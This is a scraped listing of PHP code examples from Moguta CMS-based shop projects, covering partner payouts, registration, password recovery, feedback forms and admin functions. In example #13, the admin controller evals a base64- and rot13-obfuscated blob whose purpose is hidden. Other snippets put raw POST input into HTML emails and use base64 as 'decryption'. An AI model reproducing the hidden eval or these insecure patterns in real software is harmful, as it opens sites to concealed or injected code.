コード例 #1
0
ファイル: partner.php プロジェクト: WinGood/24karcher
 public function sendOrderToPayment()
 {
     $id = USER::getThis()->id;
     $data = array('noparnter' => true);
     $result = DB::query('
   SELECT *
   FROM `' . PREFIX . 'partner`
   WHERE `user_id` = ' . DB::quote($id));
     if ($row = DB::fetchAssoc($result)) {
         $data = $row;
         $sitename = MG::getSetting('sitename');
         $subj = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату';
         $msg = 'Партнер #' . $row['id'] . ' на сайте ' . $sitename . ' хочет получить выплату в размере <b>' . $_POST['summ'] . ' рублей.</b>        
     <br/> Воспользуйтесь <a href="' . SITE . '/mg-admin">панелью администрирования</a>, чтобы проверить информацию о партнере и его заработке.';
         //если ответил пользователь то письма отправляются админам
         $mails = explode(',', MG::getSetting('adminEmail'));
         // Отправка заявки админам
         foreach ($mails as $mail) {
             if (preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $mail)) {
                 Mailer::addHeaders(array("Reply-to" => $this->email));
                 Mailer::sendMimeMail(array('nameFrom' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailFrom' => USER::getThis()->email, 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => $subj, 'body' => $msg, 'html' => true));
             }
         }
         //оповещение на мыло партнера
         Mailer::sendMimeMail(array('nameFrom' => $sitename, 'emailFrom' => "noreply@" . $sitename, 'nameTo' => USER::getThis()->sname . " " . USER::getThis()->name, 'emailTo' => USER::getThis()->email, 'subject' => 'Отправлена заявка на получение партнерской выплаты на сайте ' . $sitename, 'body' => 'Вами была отправлена заявка на получение партнерской выплаты на сайте ' . $sitename . ' в размере <b>' . $_POST['summ'] . ' рублей.</b>
           <br/>Пожалуйста, дождитесь пока мы свяжемся с Вами по электронной почте для учтонения способов перевода денежных средств.
           <br/>Данное письмо сформированно роботом, отвечать на него не надо.', 'html' => true));
     }
     return true;
 }
コード例 #2
0
ファイル: previewer.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     if (!USER::isAuth() || '1' != USER::getThis()->role) {
         MG::redirect('/');
     }
     $this->data = array('content' => $_POST['content']);
 }
コード例 #3
0
ファイル: registration.php プロジェクト: WinGood/24karcher
 /**
  * Проверяет корректность введенных данных в форме регистрации.
  * 
  * @param array $userData массив данных пользователя.
  * @param string $mode режим проверки данных (full|pass) полный (по умолчанию) или только пароль.
  * @return string ошибка в случае не верного ввода данных в одном из полей.
  */
 public function validDataForm($userData, $mode = 'full')
 {
     // Проверка электронного адреса.
     if (USER::getUserInfoByEmail($userData['email']) && 'full' == $mode) {
         $error .= '<span class="email-in-use">Указанный email уже используется</span>';
     }
     // Пароль должен быть больше 5-ти символов.
     if (strlen($userData['pass']) < 5) {
         $error .= '<span class="passError">Пароль менее 5 символов</span>';
     }
     // Проверяем равенство введенных паролей.
     if (URL::getQueryParametr('pass2') != $userData['pass']) {
         $error .= '<span class="wrong-pass">Введенные пароли не совпадают</span>';
     }
     if ('full' == $mode) {
         // Проверка электронного адреса.
         if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $userData['email'])) {
             $error .= '<span class="errorEmail">Неверно заполнено email</span>';
         }
         if (MG::getSetting('useCaptcha') == "true") {
             if (strtolower(URL::getQueryParametr('capcha')) != strtolower($_SESSION['capcha'])) {
                 $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>";
             }
         }
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $error, $args);
 }
コード例 #4
0
ファイル: yml.php プロジェクト: kostiukoleg/all4web.loc
    /**
     * Выгружает содержание всего каталога в CSV файл
     * @return array
     */
    public function exportToYml($listProductId = array(), $getYml = false)
    {
        if (!$getYml) {
            header("Content-Type: application/force-download");
            header("Content-Type: application/octet-stream;");
            header("Content-Type: application/download");
            header("Content-Disposition: attachment;filename=data.xml");
            header("Content-Transfer-Encoding: binary ");
        }
        $currencyShopIso = MG::getSetting('currencyShopIso');
        $currencyRate = MG::getSetting('currencyRate');
        $currencyRate = $currencyRate[$currencyShopIso];
        $nXML = '<?xml version="1.0" encoding="windows-1251"?>
<!DOCTYPE yml_catalog SYSTEM "shops.dtd">';
        $nXML = mb_convert_encoding($nXML, "WINDOWS-1251", "UTF-8");
        if ($getYml) {
            return $nXML;
        }
        if (empty($listProductId)) {
            echo $nXML;
            exit;
        } else {
            $date = date('m_d_Y_h_i_s');
            file_put_contents('data_yml_' . $date . '.xml', $nXML);
            $msg = 'data_yml_' . $date . '.xml';
        }
        return $msg;
    }
コード例 #5
0
ファイル: forgotpass.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     if (User::isAuth()) {
         MG::redirect('/');
     }
     // Шаг первый.
     $form = 1;
     $fPass = new Models_Forgotpass();
     // Ввторой шаг, производящий проверку введеного электронного адреса.
     if (URL::getQueryParametr('forgotpass')) {
         $email = URL::getQueryParametr('email');
         if ($userInfo = USER::getUserInfoByEmail($email)) {
             //Если введенных адрес совпадает с зарегистрированным в системе, то
             $form = 0;
             $message = 'Инструкция по восстановлению пароля была отправлена на <strong>' . $email . '</strong>';
             $hash = $fPass->getHash($email);
             //а) Случайный хэш заносится в БД.
             $fPass->sendHashToDB($email, $hash);
             $siteName = MG::getOption('sitename');
             $emailMessage = MG::layoutManager('email_forgot', array('siteName' => $siteName, 'email' => $email, 'hash' => $hash, 'userId' => $userInfo->id, 'link' => SITE . '/forgotpass?sec=' . $hash . '&id=' . $userInfo->id));
             $emailData = array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Пользователю сайта ' . $siteName, 'emailTo' => $email, 'subject' => 'Восстановление пароля на сайте ' . $siteName, 'body' => $emailMessage, 'html' => true);
             //б) На указанный электронный адрес отправляется письмо со сылкой на страницу восстановления пароля.
             $fPass->sendUrlToEmail($emailData);
         } else {
             $form = 0;
             $error = 'К сожалению, такой логин не найден<br>
       Если вы уверены, что данный логин существует, пожалуйста, свяжитесь с нами.';
         }
     }
     // Шаг 3. Обработка перехода по ссылки. Принимается id пользователя и сгенерированный хэш.
     if ($_GET) {
         $userInfo = USER::getUserById(URL::getQueryParametr('id'));
         $hash = URL::getQueryParametr('sec');
         // Если присланный хэш совпадает с хэшом из БД для соответствующего id.
         if ($userInfo->restore == $hash) {
             $form = 2;
             // Меняе в БД случайным образом хэш, делая невозможным повторный переход по ссылки.
             $fPass->sendHashToDB($userInfo->email, $fPass->getHash('0'));
             $_SESSION['id'] = URL::getQueryParametr('id');
         } else {
             $form = 0;
             $error = 'Некорректная ссылка. Повторите заново запрос восстановления пароля.';
         }
     }
     // Шаг 4. обрабатываем запрос на ввод нового пароля
     if (URL::getQueryParametr('chengePass')) {
         $form = 2;
         $person = new Models_Personal();
         $msg = $person->changePass(URL::getQueryParametr('newPass'), $_SESSION['id'], true);
         if ('Пароль изменен' == $msg) {
             $form = 0;
             $message = $msg . '! ' . 'Вы можете войти в личный кабинет по адресу <a href="' . SITE . '/enter" >' . SITE . '/enter</a>';
             $fPass->activateUser($_SESSION['id']);
             unset($_SESSION['id']);
         } else {
             $error = $msg;
         }
     }
     $this->data = array('error' => $error, 'message' => $message, 'form' => $form, 'meta_title' => 'Восстановление пароля', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "забыли пароль, восстановить пароль, восстановление пароля", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Если вы забыли пароль от личного кабинета, его модно восстановить с помощью формы восстановления паролей.");
 }
コード例 #6
0
ファイル: functions.php プロジェクト: nellka/mebel
/**
 * Файл может содержать ряд пользовательских фунций влияющих на работу движка. 
 * В данном файле можно использовать собственные обработчики 
 * перехватывая функции движка, аналогично работе плагинов.
 * 
 * @author Авдеев Марк <*****@*****.**>
 * @package moguta.cms
 * @subpackage File
 */
function seoMeta($args)
{
    $settings = MG::get('settings');
    $args[0]['title'] = !empty($args[0]['title']) ? $args[0]['title'] : '';
    $title = !empty($args[0]['meta_title']) ? $args[0]['meta_title'] : $args[0]['title'];
    MG::set('metaTitle', $title . ' | ' . $settings['sitename']);
}
コード例 #7
0
ファイル: feedback.php プロジェクト: WinGood/24karcher
 function __construct()
 {
     $html = MG::get('pages')->getPageByUrl('feedback');
     $html['html_content'] = MG::inlineEditor(PREFIX . 'page', "html_content", $html['id'], $html['html_content']);
     $data = array('dislpayForm' => true, 'meta_title' => $html['meta_title'] ? $html['meta_title'] : $html['title'], 'meta_keywords' => $html['meta_keywords'], 'meta_desc' => $html['meta_desc'], 'html_content' => $html['html_content'], 'title' => $html['title']);
     // Если пришли данные с формы.
     if (isset($_POST['send'])) {
         // Создает модель отправки сообщения.
         $feedBack = new Models_Feedback();
         // Проверяет на корректность вода.
         $error = $feedBack->isValidData($_POST);
         $data['error'] = $error;
         // Если есть ошибки заносит их в переменную.
         if (!$error) {
             $_POST['message'] = nl2br($_POST['message']);
             //Отправляем админам.
             $sitename = MG::getSetting('sitename');
             //$message = str_replace('№', '#', $feedBack->getMessage());
             $body = MG::layoutManager('email_feedback', array('msg' => $_POST['message'], 'email' => $feedBack->getEmail(), 'name' => $feedBack->getFio()));
             $mails = explode(',', MG::getSetting('adminEmail'));
             foreach ($mails as $mail) {
                 if (preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]+\\.)+[a-zA-Z]{2,6}$/', $mail)) {
                     Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail()));
                     Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $body, 'html' => true));
                 }
             }
             MG::redirect('/feedback?thanks=1');
         }
     }
     // Формирует сообщение.
     if (isset($_REQUEST['thanks'])) {
         $data = array('message' => 'Ваше сообщение отправлено!', 'dislpayForm' => false, 'meta_title' => 'Обратная связь', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "Обратная сввязь, быстрое сообщение, вопрос в поддержку", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Задайте свой вопрос по средствам формы обратной связи.");
     }
     $this->data = $data;
 }
コード例 #8
0
ファイル: index.php プロジェクト: WinGood/24karcher
 public function __construct()
 {
     $modelIndex = new Models_Index();
     //$pageModel  = new Models_Page;
     $page = MG::get('pages')->getPageByUrl('index');
     $this->data = array('popularGoods' => getBestSeller(8), 'newGoods' => $modelIndex->getNewGoods(8), 'currency' => MG::getSetting('currency'), 'meta_title' => $page['meta_title'], 'meta_keywords' => $page['meta_keywords'], 'meta_desc' => $page['meta_desc']);
 }
コード例 #9
0
ファイル: index.php プロジェクト: nellka/mebel
 static function getInfoRecentProduct($args)
 {
     $model = new Models_Product();
     $stringRelated = ' null';
     $sortRelated = array();
     foreach ($args as $item) {
         $stringRelated .= ',' . DB::quote($item);
         $sortRelated[$item] = $item;
     }
     $stringRelated = substr($stringRelated, 1);
     $data['products'] = $model->getProductByUserFilter(' p.code IN (' . $stringRelated . ') and p.activity = 1 ');
     if (!empty($data['products'])) {
         $data['currency'] = MG::getSetting('currency');
         foreach ($data['products'] as $item) {
             $img = explode('|', $item['image_url']);
             $item['img'] = $img[0];
             $item['url'] = SITE . '/' . (isset($item["category_url"]) ? $item["category_url"] : 'catalog') . '/' . $item["product_url"];
             $item['price'] = MG::priceCourse($item['price_course']);
             $sortRelated[$item['code']] = $item;
         }
         $data['products'] = array();
         //сортируем связанные товары в том порядке, в котором они идут в строке артикулов
         foreach ($sortRelated as $item) {
             if (!empty($item['id']) && is_array($item)) {
                 $data['products'][$item['id']] = $item;
             }
         }
     }
     return self::htmlRecentlyProducts($data);
 }
コード例 #10
0
ファイル: Pactioner.php プロジェクト: WinGood/24karcher
 public function send()
 {
     if (empty($_POST['fio']) || empty($_POST['email']) || empty($_POST['message']) || empty($_POST['capcha'])) {
         $this->messageError = 'Необходимо заполнить все поля!';
         return FALSE;
     } else {
         if (!preg_match('/^[A-Za-z0-9._-]+@[A-Za-z0-9_-]+.([A-Za-z0-9_-][A-Za-z0-9_]+)$/', $_POST['email'])) {
             $this->messageError = 'Неверно заполнено поле e-mail!';
             return FALSE;
         }
         if ($_POST['capcha'] != $_SESSION['capcha']) {
             $this->messageError = 'Неверно введен код с картинки';
             return FALSE;
         }
     }
     $feedBack = new Models_Feedback();
     $error = $feedBack->isValidData($_POST);
     $sitename = MG::getSetting('sitename');
     $message = str_replace('№', '#', $feedBack->getMessage());
     $mails = explode(',', MG::getSetting('adminEmail'));
     foreach ($mails as $mail) {
         if (preg_match('/^[-._a-z0-9]+@(?:[a-z0-9][-a-z0-9]+\\.)+[a-z]{2,6}$/', $mail)) {
             Mailer::addHeaders(array("Reply-to" => $feedBack->getEmail()));
             Mailer::sendMimeMail(array('nameFrom' => $feedBack->getFio(), 'emailFrom' => $feedBack->getEmail(), 'nameTo' => $sitename, 'emailTo' => $mail, 'subject' => 'Сообщение с формы обратной связи', 'body' => $message, 'html' => true));
         }
     }
     $this->messageSucces = 'Ваше сообщение успешно отправлено! В ближайшее время мы свяжемся с вами.';
     return TRUE;
 }
コード例 #11
0
ファイル: feedback.php プロジェクト: WinGood/24karcher
 /**
  * Проверяет корректность ввода данных.
  *
  * @param array $arrayData массив с данными введенными пользователем.
  * @return bool|string $error сообщение с ошибкой в случае некорректных данных.
  */
 public function isValidData($arrayData)
 {
     $result = false;
     if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $arrayData['email'])) {
         $error = '<span class="error-email">E-mail не существует!</span>';
     } elseif (!trim($arrayData['message'])) {
         $error = 'Введите текст сообщения!';
     }
     if (MG::getSetting('useCaptcha') == "true") {
         if (strtolower($arrayData['capcha']) != strtolower($_SESSION['capcha'])) {
             $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>";
         }
     }
     // Если нет ощибок, то заносит информацию в поля класса.
     if ($error) {
         $result = $error;
     } else {
         $this->fio = trim($arrayData['fio']);
         $this->email = trim($arrayData['email']);
         $this->message = trim($arrayData['message']);
         $result = false;
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }
コード例 #12
0
ファイル: crypt.php プロジェクト: kostiukoleg/all4web.loc
 /**
  * Функция дешифрования
  * @param  String $str   Строка с закодированным текстом
  * @return String          Строка с результатом Дешифрования
  */
 function mgDecrypt($str)
 {
     $data = base64_decode($str);
     $result = str_replace(self::$_salt, '', $data);
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
 }
コード例 #13
0
ファイル: mgadmin.php プロジェクト: kostiukoleg/all4web.loc
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("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")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
コード例 #14
0
ファイル: Pactioner.php プロジェクト: WinGood/24karcher
 /**
  * Сохраняет  опции плагина
  * @return boolean
  */
 public function saveBaseOption()
 {
     $this->messageSucces = 'Настройки применены';
     $this->messageError = 'Настройки не применены';
     if (!empty($_POST['data'])) {
         MG::setOption(array('option' => 'partners-program', 'value' => addslashes(serialize($_POST['data']))));
     }
     return true;
 }
コード例 #15
0
ファイル: product.php プロジェクト: nellka/mebel
 function __construct()
 {
     $model = new Models_Product();
     // Требуется только пересчет цены товара.
     if (!empty($_REQUEST['calcPrice'])) {
         $model->calcPrice();
         exit;
     }
     $product = Storage::get(md5('ControllersProduct' . URL::getUrl()));
     if ($product == null) {
         $settings = MG::get('settings');
         $product = $model->getProduct(URL::getQueryParametr('id'));
         if (empty($product)) {
             MG::redirect('/404');
             exit;
         }
         $product['meta_title'] = $product['meta_title'] ? $product['meta_title'] : $product['title'];
         $product['currency'] = $settings['currency'];
         $blockVariants = $model->getBlockVariants($product['id']);
         $blockedProp = $model->noPrintProperty();
         $propertyFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => $product['thisUserFields'], 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants, 'currency_iso' => $product['currency_iso']));
         // Легкая форма без характеристик.
         $liteFormData = $model->createPropertyForm($param = array('id' => $product['id'], 'maxCount' => $product['count'], 'productUserFields' => null, 'action' => "/catalog", 'method' => "POST", 'ajax' => true, 'blockedProp' => $blockedProp, 'noneAmount' => false, 'noneButton' => $product['count'] ? false : true, 'titleBtn' => MG::getSetting('buttonBuyName'), 'blockVariants' => $blockVariants));
         //echo viewData($propertyFormData['defaultSet']);
         $product['price_course'] += $propertyFormData['marginPrice'];
         $currencyRate = MG::getSetting('currencyRate');
         $currencyShopIso = MG::getSetting('currencyShopIso');
         $product['currency_iso'] = $product['currency_iso'] ? $product['currency_iso'] : $currencyShopIso;
         $product['old_price'] = $product['old_price'] * $currencyRate[$product['currency_iso']];
         $product['old_price'] = $product['old_price'] ? $product['old_price'] : 0;
         $product['price'] = MG::priceCourse($product['price_course']);
         $product['propertyForm'] = $propertyFormData['html'];
         $product['propertyNodummy'] = $propertyFormData['propertyNodummy'];
         $product['stringsProperties'] = $propertyFormData['stringsProperties'];
         $product['liteFormData'] = $liteFormData['html'];
         $product['description'] = MG::inlineEditor(PREFIX . 'product', "description", $product['id'], $product['description']);
         $product['title'] = MG::modalEditor('catalog', $product['title'], 'edit', $product["id"]);
         // Информация об отсутствии товара на складе.
         if (MG::getSetting('printRemInfo') == "true") {
             $message = 'Здравствуйте, меня интересует товар "' . str_replace("'", "&quot;", $product['title']) . '" с артикулом "' . $product['code'] . '", но его нет в наличии.
     Сообщите, пожалуйста, о поступлении этого товара на склад. ';
             if ($product['count'] != 0) {
                 $style = 'style="display:none;"';
             }
             $product['remInfo'] = "<span class='rem-info' " . $style . ">Товара временно нет на складе!<br/><a href='" . SITE . "/feedback?message=" . $message . "'>Сообщить когда будет в наличии.</a></span>";
         }
         if ($product['count'] < 0) {
             $product['count'] = "много";
         }
         $product['related'] = $model->createRelatedForm($product['related']);
         Storage::save(md5('ControllersProduct' . URL::getUrl()), $product);
     }
     // MG::set('propertyNodummy',$product['propertyNodummy']);
     // $_SESSION['propertyNodummy'] = $product['propertyNodummy'];
     $this->data = $product;
 }
コード例 #16
0
ファイル: Pactioner.php プロジェクト: WinGood/24karcher
 private function sendMail()
 {
     $msg = '';
     foreach ($_POST as $k => $v) {
         $msg .= '<b>' . $k . ':' . '</b> ' . htmlspecialchars($v) . '<br>';
     }
     $msg .= "<b>Отвечать на письмо не нужно</b>";
     $siteName = MG::getOption('sitename');
     return Mailer::sendMimeMail(array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Администратору сайта ' . $siteName, 'emailTo' => MG::getOption('adminEmail'), 'subject' => 'Форма обратного звонка ' . $siteName, 'body' => $msg, 'html' => true));
 }
コード例 #17
0
ファイル: ajaxuser.php プロジェクト: nellka/mebel
 /**
  * Получает список продуктов при вводе в поле поиска
  */
 public function getSearchData()
 {
     $keyword = URL::getQueryParametr('search');
     if (!empty($keyword)) {
         $catalog = new Models_Catalog();
         $items = $catalog->getListProductByKeyWord($keyword, true, true);
         $searchData = array('status' => 'success', 'item' => array('keyword' => $keyword, 'count' => $items['numRows'], 'items' => $items), 'currency' => MG::getSetting('currency'));
     }
     echo json_encode($searchData);
     exit;
 }
コード例 #18
0
ファイル: url.php プロジェクト: nellka/mebel
 /**
  * Конвертирует рускоязычны URL в транслит.
  * @param string $str рускоязычный url.
  * @return string|bool
  */
 public static function createUrl($urlstr)
 {
     $result = false;
     if (preg_match('/[^A-Za-z0-9_\\-]/', $urlstr)) {
         $urlstr = translitIt($urlstr);
         $urlstr = preg_replace('/[^A-Za-z0-9_\\-]/', '', $urlstr);
         $result = $urlstr;
